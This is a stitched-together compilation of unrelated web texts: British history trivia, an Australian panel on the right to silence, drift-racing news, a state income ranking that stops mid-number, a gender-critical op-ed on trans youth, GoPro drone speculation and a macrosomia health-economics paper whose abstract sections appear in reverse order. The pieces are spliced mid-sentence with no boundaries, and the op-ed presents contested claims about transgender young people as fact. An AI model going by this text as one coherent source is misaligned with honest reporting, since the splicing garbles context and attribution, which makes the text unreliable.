Catherine and Arthur were married in St Paul’s cathedral in October 1501. Shortly afterwards they left for Ludlow, where they established their residence. However, the couple’s happiness was short-lived and, according to Catherine, their marriage was never consummated. Arthur fell ill and died on 2 April 1502 at the age of 15. He was buried in Worcester Cathedral.
Catherine of Aragon, of course, stayed in England and became the first wife of Arthur’s younger brother Henry.
5 The Civil War saw shocking behaviour
The Civil War began in 1642, when Charles I left London, having failed to arrest his enemies in parliament. It ended in 1646 when the king surrendered to the Scots. Before the king’s execution in 1649, a further civil war was fought as royalists in Kent, South Wales and Scotland took up arms against the New Model Army of parliament. The 1648 siege of Colchester was the last engagement of this war. As Lord Goring led his royalist army away from Kent to link up with royalists in Suffolk he took shelter in parliament, supporting Colchester.
The siege lasted from June to August 1648. It was a particularly brutal affair, given that the parliamentary army claimed to be God-fearing individuals. When the parliamentary army seized St John’s Abbey, they exhumed the body of the mother of the royalist leader Sir Charles Lucas and put locks of her hair on their hats.
Having failed to storm Colchester, the parliamentary army built wooden forts around the town and settled down to starve the royalists into surrender. It was innocent civilians who suffered most. The meagre food available was commandeered by the royalist army. With a side of dog going for six shillings, many citizens were forced to survive by eating their candles, which were made from mutton fat. The women of Colchester sat on the street outside royalist headquarters asking for help. None was forthcoming, so the women fled outside the town to appeal to Fairfax and his army. The parliamentary army laughed at the women and threatened to strip them naked if they didn’t go back into the town. Humiliated, they did as they were told.
Even when the siege was over there was no sense of reconciling a divided nation. The royalist leaders Lucas and Lisle were executed and the town was fined £14,000, despite having supported parliament throughout the war.
6 The British army was using rockets more than a century before the German V1
The British army first came up against rockets in India in the late 18th century: in 1780 Indian rockets ignited the British ammunition stores at the battle of Pollilur. Colonel Wellesley, the future Duke of Wellington, was impressed by the destructive power of Indian rockets. When the war ended in 1799 some rockets were brought back to the Royal Military College at Woolwich as trophies.
At Woolwich the rockets were discovered by William Congreve, who set about refining the design and turning skyrockets into military weapons. By 1805 he had developed rockets with a range of 2,000 yards – well over a mile. At first these ‘Congreve rockets’ were used in naval attacks on Boulogne and Copenhagen. Despite some setbacks with the accuracy of the weapons fired from a rolling ship, they helped the navy set fire to buildings in both cities.
In October 1813, the Second Rocket Troop of the Royal Artillery was the only British unit at the battle of Leipzig, the so-called battle of Nations. The rockets put to flight an entire French column of 2,500 troops.
7 A Brit almost beat the Wright brothers in the race for powered flight
Percy Pilcher was a naval engineer with a penchant for flying, and he came close to discovering the secrets of powered flight in Britain four years before the Wright brothers took to the air in the United States.
In 1895 Pilcher built his first glider called ‘The Bat’, which took to the air at Cardross in Scotland. He travelled to Germany to seek inspiration from the gliders of Otto Lilienthal, using these as inspiration to build two further gliders, ‘The Beetle’ and ‘The Gull’. Pilcher’s finest glider was ‘The Hawk’, which featured the world’s first sprung, wheeled undercarriage. This made flights of up to 820 feet and was even flown by a woman, Pilcher’s cousin Dorothy Pilcher.
Pilcher’s ultimate ambition was powered flight, and in 1896 he filed a patent for a powered aeroplane. By 1899 he had built a triplane and a lightweight engine to power it. He organised a demonstration of his plane for 30 September at Stanford Hall near Market Harborough. The stage was set, but unfortunately the crankshaft broke days before the first flight. Desperate for sponsorship and unwilling to let the opportunity pass, Pilcher decided to fly ‘The Hawk’ glider instead.
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Tragically the flight of ‘The Hawk’ ended in a crash that could be heard hundreds of yards away, and Percy was terribly injured. He never regained consciousness and died two days later at Stanford Hall.For people who have committed crimes, however, there is a clear incentive to obfuscate, and to prevent investigators from obtaining the truth. Under Australian law, juries are not able to draw an inference of guilt from a defendant who chooses not to disclose key elements of their defence to police investigators. For professional criminals, the right to silence is therefore an important tool that allows them to gain a tactical upper hand during criminal trials. This is not only frustrating for police, it degrades the integrity of our legal system. Criminals know they can exploit the system and get away with it. Amending the application of the right to silence, or setting out new defence disclosure obligations, would make it more difficult for criminals to escape justice through the use of shady legal tactics. Britain (where the right to silence originated) has already gone some way to addressing this problem through the Criminal Justice and Public Order Act 1994. This act permits the court to draw an adverse inference from a person's failure to disclose vital information during the police investigation, in certain circumstances. It does not remove the right to silence, but modifies it, so that facts the accused will rely on can be fully investigated before trial.
It also has safeguards to prevent police abuse. This act has empowered the courts and has had no effect on the right to a fair trial. The right to silence was established under English common law in the 17th century as a protection against the arbitrary actions of the state. Today's courts, however, are not royal inquisitions or star chambers, and the power of the state is now limited by the doctrine of separation of powers. A subtle modification of the right to silence in NSW, therefore, would stop criminals exploiting a historical anachronism in our justice system, without sacrificing the basic principles of justice, or affecting the rights of innocent people.
Scott Weber is the Police Association of NSW president. THE LAWYER NICHOLAS COWDERY LET'S be clear - there is no "right to silence". We all have obligations to each other created by real rights and responsibilities and society works best when we co-operate in the proper exchange of relevant information for lawful purposes. The closest expression of a general protective principle is found in the International Covenant on Civil and Political Rights, reflected in our laws - a right not to be compelled to testify against ourselves or to confess our guilt. Fair enough - the days of thumbscrews and the rack are over. The "right" in reality privileges us against those compulsions (or indeed, having to say anything much during an investigation or trial). Our silence in those situations cannot be used against us to infer guilt. But there are qualifications - the privileges are not absolute. For example, a car driver can be compelled to identify herself and produce a licence; an accused person must provide notice of an alibi before trial. This collection of privileges has been created over the centuries in the evolution of our criminal justice system, especially through times when there had been systemic abuses by officials, when accused persons generally were more ignorant and illiterate, could not give evidence in their defence and could not be legally represented. As general levels of education in the community rise and the legal system evolves more fairly, we should constantly review what information can be withheld from "the authorities" and in what circumstances.
The present shooting spree in Sydney (a temporary aberration) sees people affected unwilling to co-operate with police. That is their privilege; and there are already offences in place of concealing serious offences and hindering investigations to provide some balance. Special and exceptional bodies which are subject to much greater degrees of oversight and control than the Police Force, such as the Crime Commission, have additional powers to question people and it is an offence to refuse - but any self-incriminating evidence cannot be used against the provider. That can be a useful tool, but should be used sparingly and certainly not given to police at large. There are significant private and public costs of applying that regime. How do you legislate (or lawfully act) to compel people to provide information that they may or may not have? How do you prove that somebody knows something they're not telling you? As in all things in the criminal law, a proper balance is required to be struck and the balance we have reached over a very long time under the rule of law is about right. Nicholas Cowdery, QC, is the former director of public prosecutions. THE ADVOCATE ROBYN COTTERELL-JONES
ALL arguments in this debate are reasonable and that's what makes it so difficult. Politicians must react to public distress, fear and calls for action; the police cannot investigate properly if they are locked out by people's refusal to speak; people who expect retribution from offenders if they inform on them have a right to be safe; and there is a code of silence among offenders. So what is the answer? Those who have been exposed to these shootings were certainly at risk of physical harm, and no doubt emotional trauma. Our law does not discriminate about the right of all people to be safe, irrespective of their links to illegal activity, if that is the case here. The last thing we need is more victims, more families harmed forever by firearms - especially when you add the high probability of their being let down by the criminal law as it repeatedly favours the rights of an accused over any law-abiding citizen. What I do know is that when it comes to the right to silence, victims and witnesses should not be treated the same as the accused. Unlike an accused, whom police must warn of their right to silence before questioning them, victims are not given any warning. In fact, they are often told they must make a statement and be compelling and accurate or the matter will not proceed. Cases are often lost because of that failure to inform the victim of the impact of any admission. Victims are also sometimes charged because of admissions they inadvertently make.
I worry how those forced to give information or evidence under threat would receive protection. How would they be shielded? The AVO process does not seem adequate. If a witness were coerced or threatened into giving evidence, how would that play out in court if a trial eventuated? A Crown witness already has a challenging task, but a reluctant or hostile witness might prove unhelpful to a prosecution case. In their minds will be the knowledge that crossing prosecutors is unlikely to get them shot or their homes destroyed. Crossing shooters, on the other hand … There is no simple answer. Robyn Cotterell-Jones is executive director of the Victims Of Crime Assistance League.
THE ACADEMIC MIRKO BAGARIC THE right to silence has a long and non-distinguished legal history, dating back centuries. Like most rights, it is popular among lawyers and civil libertarians but no one has yet been able to show why it must be observed in all instances. This has dawned on most governments and, in the past decade, an increasing number of investigative bodies have been given power to compel people to answer questions about their knowledge of criminal acts. However, the legislation is patchy and driven by political ideology. Thus, organisations such as the Australian Crime Commission and NSW Crime Commission, whose activities are normally confined to serious criminal matters, are given power to compel witnesses to answer questions, but so too is the Australian Building and Construction Commission, which looks at relatively trivial matters. A more principled solution is necessary. People like rights because they ostensibly protect them from the actions of governments and other people. But the exercise of rights by one person can have a detrimental impact on others and the community.
A balance needs to be struck. Individuals should be free from unfettered police questioning and not readily be placed in situations in which they may be required to betray a loyalty to a friend or relative and give information that may be adverse to them. This can place them in stressful situations and lead to more people being charged with criminal offences. Yet we all live in communities and this carries some sense of obligation, which in rare cases requires people to sacrifice their immediate interests for the common good. In the context of the right to silence, this means that in relation to very serious crimes individuals should be required to tell police what they know about the offences. It is difficult to prescribe the level of offence severity at which point this is reached. However, studies show that the offences which affect victims most significantly are serious sexual and violent offences. Property and other offences, including drug offences, are less damaging. Thus, in relation to serious sexual and violent offences, people should be required to assist police. In relation to other offences, we should be free from unwanted questioning.
Mirko Bagaric from Deakin University is the co-author of Australian Criminal Law.So adding to our news about Chelsea DeNofa testing this car which we reported hours ago now we have a PR sent out from Bergenholtz Racing making it official that they have let go current driver Joon Maeng as of today! The complete PR is below but it sure sounds like the test drive by Chelsea DeNofa could lead to a new partnership at Formula Drift Seattle. Various sources have confirmed the two talking but no other information is available at this time. What would you think about DeNofa in the Bergenholtz Rx-8? More importantly is what does Daigo Saito think?
Bergenholtz Racing and Joon Maeng Part Ways. Effective immediately, Bergenholtz Racing and Joon Maeng have both decided to part ways. “Though we both gave our blood sweat and tears to achieve podiums, we still couldn’t get the formula right. In our quest to win, we realize that change must occur and sometimes that involves tough decisions. It is with great heart-felt regret that this has to happen but I believe it is the best for the future of Joon and our team.” Said Ron Bergenholtz, Team Manager of Bergenholtz Racing.The U.S. Census Bureau released on Wednesday new data from its 2015 nationwide population survey. According to the annual survey, the national median household income rose to $55,775 in 2015. No state reported income declines. While 39 states reported significant increases in household income, income levels in 11 states remained the same.
24/7 Wall St. ranked all 50 states according to the newly released median household income figures. Annual income levels range from $75,847 in Maryland to $40,593 in Mississippi.
High-income states typically share certain social and economic characteristics. For example, residents of states with the highest incomes also tend to have high education levels. In 17 of the states reporting higher than average household incomes, college attainment rates also exceed the national attainment rate of 30.1%.
While it certainly does not make up the difference between a poverty wage and a six-figure salary, residents of low-income states enjoy cheaper goods and services than residents of high-income states. For example, goods and services cost 10.3% more in Maryland than they do across the nation. In Mississippi, meanwhile, goods and services cost 13.4% less than the national average.
Similarly, home values closely mirror household incomes. In 18 of the states with high household incomes median home values exceed the national median home value of $194,500. The opposite is the case in the nation’s poorest states.
To identify the richest and poorest states with the highest and lowest median household income, 24/7 Wall St. reviewed state data on income from the U.S. Census Bureau’s 2015 American Community Survey (ACS). Median household income for all years is adjusted for inflation. Data on health insurance coverage, employment by industry, food stamp recipiency, poverty, and income inequality also came from the 2015 ACS. Income inequality is measured by the Gini coefficient, which is scaled from 0 to 1, with 0 representing perfect equality and 1 representing total inequality. We also reviewed annual average unemployment data from the Bureau of Labor Statistics (BLS) for 2014 and 2015.
These are America’s richest and poorest states.
The Poorest States:
5. Kentucky
Median household income: $45,215
$45,215 Population: 4,425,092 (25th lowest)
4,425,092 (25th lowest) 2015 Unemployment rate: 5.4% (20th highest)
5.4% (20th highest) Poverty rate: 18.5% (5th highest)
Like most states, Kentucky’s median household income of $45,215 a year has increased since 2014, when the median income, adjusted for inflation, was $43,014 a year. Residents are still quite poor, however. Kentucky’s poverty rate of 18.5% is the fifth highest poverty rate of all states. While no guarantee, a college degree substantially improves the odds of finding a job with a good wage. In Kentucky, just 23.3% of adults have a bachelor's degree, considerably lower than the national college attainment rate of 30.6%.
4. Alabama
Median household income: $44,765
$44,765 Population: 4,858,979 (24th highest)
4,858,979 (24th highest) 2015 Unemployment rate: 6.1% (8th highest)
6.1% (8th highest) Poverty rate: 18.5% (5th highest)
Alabama is one of the poorest states in the nation with a median household income of $44,765 a year. However, this figure is notably higher than in 2014, when the median income, adjusted for inflation, was $42,895.
Like in many of the poorest states, Alabama’s poverty rate of 18.5% is among the highest of all states. Other problems the state faces are a high jobless rate and a high proportion of households relying on food stamps. Last year, 6.1% of workers were unemployed, the eighth highest jobless rate of any state. With low incomes, home values are also low in Alabama. The median home is worth $134,100, or more than $60,000 below the national benchmark of $194,500.
3. West Virginia
Median household income: $42,019
$42,019 Population: 1,844,128 (13th lowest)
1,844,128 (13th lowest) 2015 Unemployment rate: 6.7% (the highest)
6.7% (the highest) Poverty rate: 17.9% (7th highest)
The typical West Virginia household earns $42,019, compared to the national median income of $55,775. Individuals struggling to find work who live on little to no income contribute to low household incomes in West Virginia. Of workers in the state, 6.7% were unemployed in 2015, the highest annual unemployment rate of any state.
West Virginia’s population is one of the largest recipients of government assistance programs such as SNAP, which each year help millions of people cope with poverty. Of households in the state, 16.0% use food stamps, the ninth highest share.
2. Arkansas
Median household income: $41,995
$41,995 Population: 2,978,204 (18th lowest)
2,978,204 (18th lowest) 2015 Unemployment rate: 5.2% (24th highest)
5.2% (24th highest) Poverty rate: 19.1% (4th highest)
Goods and services in Arkansas cost less on average than almost anywhere else in the country. While the relative affordability certainly helps low income households, state residents are still quite poor. The typical household earns $41,995 a year, second lowest after Mississippi. Also, 19.1% of people live in poverty, the fourth highest poverty rate of any state. Homes tend to have relatively low values to match the low incomes. At just $120,700, the typical home in Arkansas is valued at more than $70,000 below the national benchmark of $194,500.
1. Mississippi
Median household income: $40,593
$40,593 Population: 2,992,333 (19th lowest)
2,992,333 (19th lowest) 2015 Unemployment rate: 6.5% (4th highest)
6.5% (4th highest) Poverty rate: 22.0% (the highest)
With 2015 median household income unchanged from 2014, Mississippi is once again the poorest state in the country.The typical Mississippi household earned $40,593 last year, well below the national median income of $55,775. Mississippi also has the highest poverty rate in the country, with 22.0% of residents living below the poverty line. A relatively large share of state households are very poor. Some 11.5% earn $10,000 or less annually, the highest extreme poverty rate of any state. Similarly, there are relatively few affluent households in the state. Only 2.1% of Mississippi households earn $200,000 or more a year, the lowest such share.
The Richest States:
5. Connecticut
Median household income: $71,346
$71,346 Population: 3,590,886 (22nd lowest)
3,590,886 (22nd lowest) 2015 Unemployment rate: 5.6% (18th highest)
5.6% (18th highest) Poverty rate: 10.5% (6th lowest)
A typical Connecticut household earns $71,346 in a year, considerably higher than the national median income of $55, |
all the positive PR for these medical interventions, is the influence of advocacy and pressure groups who produce guidance for statutory bodies from schools to councils. Gendered Intelligence, for example, whose Trans Youth Sexual Health Guide defines gender as one’s “emotions and personality,” tells 16-24 year olds:
“Surgery will affect sex in many ways but the most noticeable effect is a boost in body confidence. You may enjoy sex more as you begin to feel better about expressing yourself.”
The number of children referred to the NHS as a result of confusion about their gender and “transgender feelings” has quadrupled in five years. Trans advocacy organizations are quick to claim that this rise in rates of “trans kids” is due to increased visibility and acceptance. But it’s important to acknowledge that even the most personal behaviour is impacted by that of our peers. When I was at a girls’ school in the 90s, there was an apparent epidemic of eating disorders and cutting. The increase in “trans kids” could equally be viewed as evidence of social contagion.
Binding breasts seems no more progressive than archaic, sexist practices like wearing a corset, breast-ironing, or foot-binding. But following an explosion of girls identifying as transboys, this practice has become so normalized across the UK that schools have been advised to modify physical education classes to accommodate girls who can’t breathe properly due to breast-binding.
The British Medical Association advise staff not to refer to “expectant mothers” in order to avoid excluding trans people. The preferred politically correct term is now “pregnant person,” which obscures the fact that it is only women who can give birth. Rather than making awkward linguistic accommodations to alter reality for a minority of people, or staying tight-lipped about dangerous and unhealthy practices, perhaps we should be encouraging everyone to love their bodies — in particular young lesbians.
We need to stop and to ask ourselves why girls are so frightened to grow up and become women who love women. Or to simply become “unfeminine” women. We need to spread the message that there is no essentially “male” or “female” way of being, and that bodies don’t need to change, sexist stereotypes do.
The misogyny of trans politics is not new to me, but I had a moment of sickening clarity at Pride last year. After a long day and night of festivities, my partner and I were leaning on a table in a bar. There was a young lad dancing alone; when I looked closer I could see the tightly bound chest and the beginnings of a beard. This was a kid of about 18, who had been told that altering her body in this extreme way would somehow resolve the discomfort and self-hatred she experienced under patriarchy. This image was a visceral reminder that lesbians, as they are — as women with diverse female bodies, who love other women with diverse female bodies — were no longer welcome at Pride.
The space for women like me at Pride has been squeezed by trans activists brandishing signs like, “Kids: Puberty is Optional.” The tyranny of queer politics has barred lesbians and feminists from even meeting without men; and leading organizations we might once have looked to for support (here’s looking at you, Stonewall) have opted for popularity points at the expense of lesbians. Sexuality has been re-branded as a costume that straight people can step into, and at Pride there is no room for those who question this. The mutilated and bound bodies of women do not represent a victory for tolerance, but evidence of young lesbians who have been let down by the movement that should have helped them understand and accept themselves.
I long for the day when my partner and I can return to Pride, and celebrate alongside lesbian and bisexual women who are proud of their bodies.
Jo Bartosch founded the feminist campaign group Chelt Fems, which she chaired for seven years. In March she stepped down to become a Director of Critical Sisters, an organization formed to promote women’s liberation and critical thinking across the left. Follow @CriticalSisters.
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Guest Writer One of Feminist Current's amazing guest writers."Take a moment to look around you."
Maybe it's because we just spent a year over-analyzing Star Wars trailers, but I'm beginning to think GoPro CEO Nick Woodman is trying to tell us something in the teaser video for the company's forthcoming drone. It sounds like the GoPro drone, which is called "Karma" and is being released in 2016, will shoot 360-degree video.
As the test footage rolls, Woodman says some very typically California zen things. "Take a moment to recognize the magic that surrounds us every day," he says, before listing things like the sky, clouds, and trees. "Life is a dream," he declares.
"Now what if you could move freely through this dream, your dream. Go wherever you want, and experience it from any perspective."
Huh.
GoPro is already betting big on 360-degree video
There are a number of reasons why Woodman could be talking about 360-degree video, starting with the fact that GoPro is already pushing it in a really big way. Earlier this year, Woodman debuted the company's first prosumer spherical camera rig at Code Conference, just minutes before he announced that GoPro would be making a drone. The next day, GoPro announced an even bigger virtual reality camera rig — made in partnership with Google — aimed at filmmakers.
In the meantime, the company has gotten in the habit of shooting 360-degree videos and publishing them on spherical video-friendly platforms like YouTube and Facebook. Both of those companies have been bullish on the idea of spherical videos; YouTube's mobile app allows them to be watched on Cardboard and other VR headsets, while Facebook just published a roundup of the best ones published to its platform this year, all of which have millions of views.
GoPro Spherical: Tahiti Surf VR Anthony Walsh and Matahi Drollet bring us inside some of the biggest barrels Tahiti has to offer in full 360°.For the most immersive experience, click and drag on your desktop, or move your iOS device in any direction. Posted by GoPro on Thursday, November 12, 2015
One of the most popular 360-degree videos on Facebook this year was shot by GoPro.
GoPro also bought a virtual reality company called Kolor back in April. (One of Kolor's big strengths was its automatic image stitching software, a key for making these types of videos easy to make.) During the company's first quarter earnings call, Woodman used the Kolor acquisition as a jumping off point to talk about GoPro's future in virtual reality. "There's going to be a natural trickle down desire at the consumer level where people are going to want to capture this type of experience for themselves," he said. "It's only natural to think that they look to GoPro for virtual reality, personal virtual reality spherical content capture solutions in the future. And I think we're well placed to be a leader in that area."
Those comments could very possibly only apply to GoPro's static virtual reality efforts, so let's get back to that Karma video. The footage is good, but not great, especially compared to what you can get out of DJI's Inspire One, or even its cheaper Phantom 3. It doesn't have a ton of dynamic range, and it's not available in 4K. Those could be symptoms of camera software that hasn't been fully tuned, but they're also the hallmarks of 360-degree video shot by smaller, cheaper spherical cameras.
It wouldn't be a complete surprise if this video wound up being spherical
We also don't see it pan or tilt. It's hard to imagine that GoPro would release a drone with a camera that you can't move around, so the company is withholding that for a reason. Perhaps the shot is locked because instead of being able to pan and tilt, you'll just be able to explore the video in any direction after it's shot, and that's what Woodman is hinting.
Or maybe he's just talking about standard drone footage, which can be impressive and immersive without being omnidirectional. After all, making a 360-degree camera that is small enough to be flown but still good enough to produce GoPro-quality footage would be a feat unto itself. Maybe I am just reading too much into it, and should go back to overthinking plot holes in The Force Awakens.
A drone that's capable of shooting 360-degree video would give GoPro some differentiation in a young market that isn't very diverse. But GoPro's massive brand is strong enough to provide that differentiation on its own. And that brand was built on two things: ease of use and image quality. Messing with the company's first drone by adding spherical video would risk damaging that brand.
GoPro's brand is built on image quality
But who knows! Maybe GoPro will release a drone that isn't married to one particular camera. Maybe you'll just be able to use the company's own spherical camera rig as well as one of the company's more traditional action cameras. Maybe GoPro has created a mobile spherical rig that can shoot 360-degree video so well that you could lock the shot in one direction and still get a great 1080p image out of it.
Whatever GoPro does with the Karma, people will want to buy it. Exactly what they're going to get is still up in the air.
(Thanks to reader Rory Dowdell for kicking off the speculation!)Conclusion: Although overweight and obesity are a recognized concern worldwide, less attention has been given to the health economic consequences of these conditions in women of child-bearing age and their offspring. The presented outcomes underline the need for preventive management strategies and public health interventions on life style, diet and physical activity. Also, the predisposition in people of Asian ethnicity to develop diabetes emphasizes the urgent need to collect more country-specific data on the incidence of macrosomic births and health outcomes. In addition, it would be of interest to further explore the long-term health economic consequences of macrosomia and related risk factors.
Results: The estimation of the direct health-economic burden of maternal overweight, GDM and related macrosomia indicates that associated healthcare expenditures are substantial. The calculation of a budget impact of GDM, based on a conservative approach of our model, using USA costing data, indicates an annual cost of more than $1,8 billion without taking into account long-term consequences.
Objective: Provide insight in the short-term health-economic impact of maternal overweight, GDM, and related macrosomia. To this end, a health economic framework was designed. This pilot study also aims to encourage further health technology assessments, based on country- and population-specific data.
Background: Despite the interest in the impact of overweight and obesity on public health, little is known about the social and economic impact of being born large for gestational age or macrosomic. Both conditions are related to maternal obesity and/or gestational diabetes mellitus (GDM) and associated with increased morbidity for mother and child in the perinatal period. Poorly controlled diabetes during pregnancy, pre- pregnancy maternal obesity and/or excessive maternal weight gain during pregnancy are associated with intermittent periods of fetal exposure to hyperglycemia and subsequent hyperinsulinemia, leading to increased birth weight (e.g., macrosomia), body adiposity, and glycogen storage in the liver. Macrosomia is associated with an increased risk of developing obesity and type 2 diabetes mellitus later in life.
Introduction
The foundations of health throughout life are laid during the peri-conceptional period, from conception until birth, and after birth in early childhood. Much attention has been paid to the long-term consequences of undernutrition and micronutrient deficiencies during the first 1000 days, covering the timespan from conception until the second birthday (Morton, 2006; Black et al., 2008). The link between compromised nutritional status of the baby’s mother and low birth weight on one hand, and impaired health of the child in later life on the other hand has now been clearly established. The far-reaching relationships with multiple health-related outcomes affecting human capital and productivity have been clearly corroborated (Johnson and Schoeni, 2011).
In contrast, despite the general high interest in the public health burden of overweight and obesity, far less is known about the potential clinical and economic consequences of maternal conditions leading to high birth weight (large for gestational age; LGA) or macrosomia.
Macrosomia
Macrosomia is defined as an absolute birth weight >4000 g regardless of gestational age (Boulet et al., 2003; Costa et al., 2012). The incidence of macrosomia ranges from 12.8 to 37.4% worldwide (Rodrigues et al., 2000; Kac and Velasquez-Melendez, 2005; de Oliveira et al., 2008). In developed countries, the prevalence of macrosomia ranges from 5 to 20%; and an increase of 15–25% has been reported over the last three decades, mainly driven by an increase in maternal obesity and type 2 diabetes (T2DM). In addition, the threshold for macrosomia might need to be reconsidered for Asian countries, where average birth weight is in general lower compared to European countries and consequently the cut off weight for LGA (>95th percentile) would be lower.
Maternal overweight, excessive gestational weight gain (GWG) by itself, gestational diabetes mellitus (GDM), defined as mild to moderate hyperglycemia leading to diabetes first diagnosed during pregnancy which disappears after giving birth, and elevated fasting plasma glucose levels during pregnancy have all been reported to be significant risk factors for macrosomia (Shi et al., 2014). In developing countries maternal short statue, high body mass index (BMI), and T2DM are strong risk factors for macrosomia (Koyanagi et al., 2013).
Macrosomia is the main cause of (acute) perinatal complications for both mother and infant. Adverse maternal outcomes associated with macrosomia include preterm birth, higher rates of postpartum hemorrhage, as well as increased risk of cesarean delivery (HAPO Study Cooperative Research Group et al., 2008; Henriksen, 2008; Jastrow et al., 2010). For the macrosomic infant, birth trauma is commonly related to instrumental delivery, e.g., newborns with a birth weight >4000 g have 9.0 times higher odds of shoulder dystocia, while those with a birth weight >4500 g have odds that are 39.5 times higher than normal-weight infants (Robinson et al., 2003). Furthermore, macrosomic infants are more likely to have low 5-min Apgar scores, an index of hypoxia (Johnson and Schoeni, 2011). Infants with very severe macrosomia (birth weight >5000 g) are at increased risk of neonatal, post-neonatal and infant death (Boulet et al., 2003). Macrosomia also significantly increases the risk for developing obesity in childhood, and non-communicable diseases (NCD) later in life (Morton, 2006).
Background
A key component of normal metabolic adaptation to pregnancy is the development of mild insulin resistance and changes in the regulation of appetite in the mother, gradually evolving during gestation (Parsons et al., 1992; Kawai and Kishi, 1999; Clapp, 2006). These normal physiological adaptations serve to shuttle sufficient nutrients to the growing fetus, especially during the last trimester of pregnancy. Poorly controlled diabetes, maternal obesity, and excessive maternal weight gain during pregnancy are associated with intermittent, non-physiological periods of fetal hyperglycemia, and subsequent hyperinsulinemia from the start of pregnancy and onward. The resulting maternal insulin resistance and hormonal responses related to high blood glucose, such as insulin-like growth factors, and growth hormone, lead to greater deposition of body fat and glycogen in muscle and liver in the fetus. The greater and more rapid fetal growth (in particular of adipose tissue) subsequently results in increased birth weight.
Overweight, Obesity, and Gestational Weight Gain
Women with either pre-pregnancy obesity and/or excessive GWG, have a higher risk for developing GDM, pregnancy-induced hypertension, cesarean delivery, and LGA and macrosomic infants compared to women with normal pre-pregnancy BMI and adequate pregnancy weight gain (Li et al., 2013).
Using a hospital-based delivery database of 18 362 subjects in the USA, overweight, obese and severely obese women showed higher risks for LGA, GDM, and preeclampsia in comparison to their normal-weight counterparts (Bodnar et al., 2010). In another study, the proportion of LGA infants born to overweight and obese mothers without GDM was significantly higher than in their normal-weight counterparts in a retrospective study of 9 835 women in Southern California, USA; 21.6% of LGA infants were explained by maternal overweight and obesity (Black et al., 2013). Similarly, a 13-years study of 292 568 singleton pregnancies in China (Liu et al., 2012) demonstrated that adverse pregnancy outcomes, such as hypertensive disorders, cesarean delivery, macrosomia, and LGA infants, were associated with overweight mothers, who during pregnancy gained weight beyond current IOM recommendations (Institute of Medicine/National Research Council, 2009).
In a study of 366 886 singleton pregnancies from the Danish Medical Birth Registry from 2004 to 2010, the ratio between abdominal circumference and birth weight decreased with increasing maternal BMI, suggesting that maternal obesity results in a general weight gain of the fetus rather than just fat accumulation around the abdomen (Tanvig et al., 2013). Finally, an observational study at five antenatal centers in Ireland reported that excessive GWG resulted in higher odds for LGA and macrosomia, as well as increased odds for gestational hypertension in women with GDM. The need for treatment with insulin further increased the odds for LGA and macrosomia (Egan et al., 2014).
Altogether, these studies emphasize that high pre-pregnancy BMI and/or high GWG form a substantial risk for macrosomic birth worldwide. The fact that some studies do not report increased rates of macrosomia despite the increasing prevalence of obese pregnancies, may be explained by, for instance, changes in obstetric practice such as cesarean section before weeks 40 of pregnancy (Poston et al., 2011).
Gestational Diabetes Mellitus
In women already prone to insulin resistance because of obesity or (epi) genetic predisposition (Vaag et al., 2014), this physiological tendency is augmented and can result in the development of GDM, commonly diagnosed around weeks 20–24 of pregnancy. A study including 35 253 pregnancies in Australia showed an average incidence of GDM of 5.5% (n = 1928; Beischer et al., 1991).
GDM has been reported to affect 4–7% of pregnancies in Caucasian women, while the incidence is consistently higher (8–15%), and rising rapidly in Asian women (Ferrara et al., 2004; Rosenberg et al., 2005; Hunsberger et al., 2010). According to a recent survey, there is a large variation in estimated GDM prevalence, showing a range from <1 to 28% with data derived from single or multi-site, national data, and/or estimates from expert assessments in 47 countries (Jiwani et al., 2012). Direct comparison between countries is difficult due to different diagnostic strategies and population groups. Many countries do not perform systematic screening for GDM, and practices often diverge from guidelines. Interestingly, the hyperglycemia and pregnancy outcome (HAPO) study results clearly indicate that relatively mild hyperglycemia was already associated with a significant increase in macrosomia (Zawiejska et al., 2014). Adoption of the HAPO criteria for GDM diagnosis will likely lead to higher GDM prevalence compared to current estimates (Jiwani et al., 2012), although still considerable differences in incidence as well as relevance of the different hyperglycemia measures were reported between the participating HAPO centers (Sacks et al., 2012).
Objective
The primary objective of this study was to design a health economic framework that will allow a pilot estimation of the short-term healthcare burden associated with maternal overweight and/or GDM, in particular as related to fetal macrosomia. The secondary goal is to lay a basis for fostering interest in the development of targeted preventive approaches in an effort to reduce the related total costs. The subject is closely related to the problem of rising NCD prevalence and the related disease outcomes, and will be of interest for both developing and industrialized countries (Henriksen, 2008; Ma and Chan, 2013).
Materials and Methods
A model to map the health economic consequences of GDM, overweight pregnancies and macrosomia was developed based on decision analytical techniques, a well-accepted methodology in the field of health-economics (Weinstein and Fineberg, 1980). To estimate the health economic impact of management of macrosomia, the short-term consequences of GDM, obesity and macrosomia were taken into account. Data sources included published literature, clinical trials, official price/tariff lists, if available, and national population statistics. This study is based on methodological guidance derived from cost-effectiveness studies in nutrition economics (Lenoir-Wijnkoop et al., 2011).
Model Design
The health economic impact is calculated, using a decision tree model constructed in TreeAge Pro 2005/2006, reflecting treatment patterns and outcomes in the management of obesity during pregnancy, GDM and related delivery of the macrosomic infant. The present decision tree model is shown in Figure 1.
FIGURE 1
FIGURE 1. Structure of the model. Reported events are based on literature: ∗Includes respectively, hypoglycemia, hyperbilirubinemia, prematurity, macrosomia, brachial plexus injury, shoulder dystocia, respiratory distress, NICU admission; ∗∗Includes respectively, prematurity, macrosomia, NICU, stillbirth, IUGR; °Only reported for GDM (Michlin); ∘∘Not reported for GDM.
During the pregnancy the occurrence of GDM and/or obesity may lead to various complications in mother and child. The model consists of two sub-models: (1) development of maternal GDM, (2) maternal obesity, accompanied or not with the development of GDM.
Delivery after GDM or obesity is the next “health state.” The delivery may be normal, leading to “normal child” or “macrosomic” child. Using conventional principles of clinical decision analysis, expected clinical, and economic outcomes are determined as a probability-weighted sum of costs and outcomes further to the initial treatment decisions. As both mother and child may be subject to various clinical events and disease progression after delivery, the number of possible health states is finite. Therefore the follow-up beyond delivery was based on a Markov process. An advantage of applying a Markov process is that it allows long-term modeling of GDM and obesity for the mother and its complications for both mother and child (complicated delivery, macrosomia, and related morbidity).
Study Population
The model included a study population of women of childbearing age who are overweight or obese prior to pregnancy. Women with (preexisting) diabetes mellitus, both type I and type II, or related morbidity before pregnancy were excluded. The model considers thus a cohort of otherwise healthy women with a probability of getting pregnant.
Cost Assessment
An analysis can be conducted from the perspective of the society in a pre-selected study country, while it is also possible to consider the payer’s perspective only. The choice of the perspective will depend on the country-specific health economic guidelines. The current cost assessment, performed as a pilot, is based only on short-term costs caused by the management of the complications as reported in literature, from the national health care perspective.
Data Sources
